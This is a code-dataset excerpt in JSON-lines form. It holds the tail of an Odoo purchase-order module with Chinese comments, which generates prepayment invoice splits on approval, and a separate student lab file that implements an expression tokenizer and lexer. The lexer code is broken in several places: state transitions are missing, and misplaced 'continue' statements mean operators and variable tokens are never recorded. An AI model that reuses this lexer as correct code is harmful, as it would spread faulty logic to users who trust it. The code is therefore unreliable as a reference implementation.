TODO 订单行的支付条款\n # return res\n\n def _update_oa_approval_state(self, flow_id, refuse=False):\n \"\"\"采购订单经OA审批通过后,如果订单的支付条款是预付款(先款后货),则取支付条款规则第一条记录,来计算并创建供应商账单,并打开供应商账单,\n \"\"\"\n super(PurchaseOrder, self)._update_oa_approval_state(flow_id, refuse)\n if not refuse: # OA审批通过\n self.search([('flow_id', '=', flow_id)])._generate_invoice_split() # 先款后货的生成账单分期\n # self.filtered(lambda x: x.payment_term_id.type == 'first_payment')._generate_invoice_split() # 先款后货的生成账单分期 TODO 订单行的支付条款\n\n def _generate_invoice_split(self):\n \"\"\"先款后货的生成账单分期\"\"\"\n\n order_lines = self.order_line.filtered(lambda x: x.payment_term_id.type == 'first_payment')\n if not order_lines:\n return\n\n tz = self.env.user.tz or 'Asia/Shanghai'\n date_invoice = datetime.now(tz=pytz.timezone(tz)).date()\n\n vals_list = []\n for payment_term, lines in groupby(sorted(order_lines, key=lambda x: x.payment_term_id.id), lambda x: x.payment_term_id):\n lines = list(lines)\n payment_term_list = payment_term.compute(value=1, date_ref=date_invoice)[0]\n payment_term_list.sort(key=lambda x: x[0]) # 按到期日期升序排序\n amount_total = sum(line.price_total for line in lines)\n amount = amount_total * payment_term_list[0][1] # 账单行金额\n\n if float_compare(amount, 0.0, precision_rounding=0.01) > 0:\n vals_list.append({\n 'sequence': 1,\n 'invoice_id': False,\n 'purchase_order_id': self.id,\n 'sale_order_id': False,\n 'date_invoice': date_invoice,\n 'date_due': date_invoice,\n 'amount': amount,\n 'partner_id': self.partner_id.id,\n 'company_id': self.company_id.id,\n 'state': 'open',\n 'comment': '采购订单%s:预付款' % self.name,\n 'type': 'first_payment',\n })\n\n self.env['account.invoice.split'].create(vals_list)\n\n # for purchase in self:\n # payment_term = purchase.payment_term_id.with_context(currency_id=purchase.currency_id.id)\n # payment_term_list = payment_term.compute(value=1, date_ref=date_invoice)[0]\n # payment_term_list.sort(key=lambda x: x[0]) # 按到期日期升序排序\n # amount_total = purchase.amount_total # 采购订单总金额\n # amount = amount_total * payment_term_list[0][1] # 账单行金额\n #\n # rounding = purchase.currency_id.rounding\n #\n # if float_compare(amount, 0.0, precision_rounding=rounding) > 0:\n # vals_list.append({\n # 'sequence': 1,\n # 'invoice_id': False,\n # 'purchase_order_id': purchase.id,\n # 'sale_order_id': False,\n # 'date_invoice': date_invoice,\n # 'date_due': date_invoice,\n # 'amount': amount,\n # 'partner_id': purchase.partner_id.id,\n # 'company_id': purchase.company_id.id,\n # 'state': 'open',\n # 'comment': '采购订单%s:预付款' % purchase.name,\n # 'type': 'first_payment',\n # })\n #\n # self.env['account.invoice.split'].create(vals_list)\n\n @api.multi\n def button_cancel(self):\n \"\"\"取消采购订单,同时删除对应的账单分期\"\"\"\n for order in self:\n if any([sp.state == 'paid' for sp in order.invoice_split_ids]):\n raise UserError('预付款已支付,不能取消采购订单!')\n\n if self.invoice_split_ids:\n self.invoice_split_ids.sudo().unlink()\n\n return super(PurchaseOrder, self).button_cancel()\n\n\n# class PurchaseOrderLine(models.Model):\n# _inherit = 'purchase.order.line'\n#\n# register_count = fields.Float('开票数量', compute='_compute_register_count', help='发票登记的数量')\n#\n# @api.multi\n# def _compute_register_count(self):\n# \"\"\"计算发票登记的数量,仅限于销售后付款和联营商品\"\"\"\n# register_obj = self.env['account.invoice.register'].sudo()\n#\n# for line in self:\n# if line.payment_term_id.type not in ['sale_after_payment', 'joint']:\n# continue\n\n\n","sub_path":"myaddons/cj_arap/models/purchase_order.py","file_name":"purchase_order.py","file_ext":"py","file_size_in_byte":10078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"110134572","text":"'''\nLexical Analysis.\nGiven an expression (a string), break it up into tokens,\nand identify the type of each token.\n'''\n\nfrom typing import List, Tuple\nimport string\n\ndef tokenize(expression: str, specials: str, whitespace: str) -> List[str]:\n '''\n Given an expression (a string), break it up into tokens.\n Inputs:\n expression: a string\n specials: single-character tokens (usually operators)\n whitespace: characters that separate tokens (usually space)\n Return: a list of strings (each is a token)\n '''\n\n '''\n Method: implement a state machine, with three states:\n - OPERAND\n - SPECIAL\n - WHITESPACE\n Each character in the expression causes a transition among\n these three states.\n '''\n # The states\n IDLE = 0\n OPERAND = IDLE + 1\n WHITESPACE = OPERAND + 1\n\n # Intial state\n state = IDLE\n\n # The list of tokens\n tokens = []\n for c in expression:\n if state == IDLE:\n\n # Here, I handle some transitions for you.\n # Notice that, in each case, I take some action,\n # and (optionally) change the state\n\n if c in whitespace:\n state = WHITESPACE\n continue\n elif c in specials:\n state = IDLE\n tokens.append(c)\n else: # It's an operand character. Start an operand\n state = OPERAND\n operand = c\n\n # Task 1:\n # Now, you must handle the remaining cases\n # When you are done, remove most of the 'pass' statements.\n elif state == OPERAND:\n if c in whitespace:\n # save the operand\n tokens.append(operand)\n elif c in specials:\n # save the operand, save the special\n tokens.append(operand) # store op. in tokens\n tokens.append(c) # store c in tokens\n else:\n # extend the operand\n operand += c\n\n elif state == WHITESPACE:\n if c in whitespace:\n # do nothing\n pass\n elif c in specials:\n # save the special\n tokens.append(c)\n else:\n # start an operand\n operand = c\n\n # Task 2: Check if we need to save the last operand\n if state == OPERAND:\n tokens.append(operand)\n\n return tokens\n\ndef lexer(tokens: List[str]) -> List[Tuple[str,str]]:\n '''\n Identify the type of every token:\n - number\n - variable\n - operator\n - unknown\n\n Input: a list of tokens\n Return: a list of (type, token) pairs\n '''\n lexemes = []\n operators = \"+-*/=()\"\n\n ascii_letters = string.ascii_letters\n digits = string.digits\n\n validChars = ascii_letters + \"_\" + digits\n \n for token in tokens:\n lex_type = 'unknown'\n lex_value = token\n\n # Task 3 and 4: What type is the token?\n if token in operators: # operator?\n lex_type = 'operator'\n continue # next iter of loop\n\n # Not in ops?\n try: # attempt\n x = float(token) # make float\n lex_type = 'number' # is a number\n except ValueError: # didn't work!\n pass\n\n if (token[0] in \"_\") or (token[0] in ascii_letters):\n for i in range(1,len(token)): # other chars\n if token[i] not in validChars: # not _ , str, or digit:\n break\n continue\n lex_type = 'variable'\n \n # Leave this line here, at the end of the for-loop\n lexemes.append( (lex_value, lex_type) )\n return lexemes\n\n\ndef analyze_expression(expr: str) -> List[Tuple[str,str]]:\n '''\n Given an expression, tokenize it and do lexical analysis\n Input: expression, a string\n Output: print the type and value of each token\n '''\n if type(expr) == str:\n tokens = tokenize(expr, \"+-*/=()\", \" \")\n else:\n tokens = expr\n lexemes = lexer(tokens)\n for token, kind in lexemes:\n print (' {:>6} : {:>6}'.format(token, kind))\n\ndef main():\n expr = \"hello, how are,you?\"\n print ('Tokenize \"'+expr+'\"', \":\\n \", tokenize(expr, \"\", \" ,\\t\"))\n\n expr = \"cost= total + (7.0 / 100)* total\"\n print ('Tokenize \"'+expr+'\"', \":\\n \", tokenize(expr, \"+-*/=()\", \" \"))\n\n print()\n print(\"Analyze ['cost','=','total','+','(','7.0','/','100',')','*','total']:\")\n analyze_expression(['cost', '=', 'total', '+', '(', '7.0',\n '/', '100', ')', '*', 'total'])\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"Lab16/Lab16/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}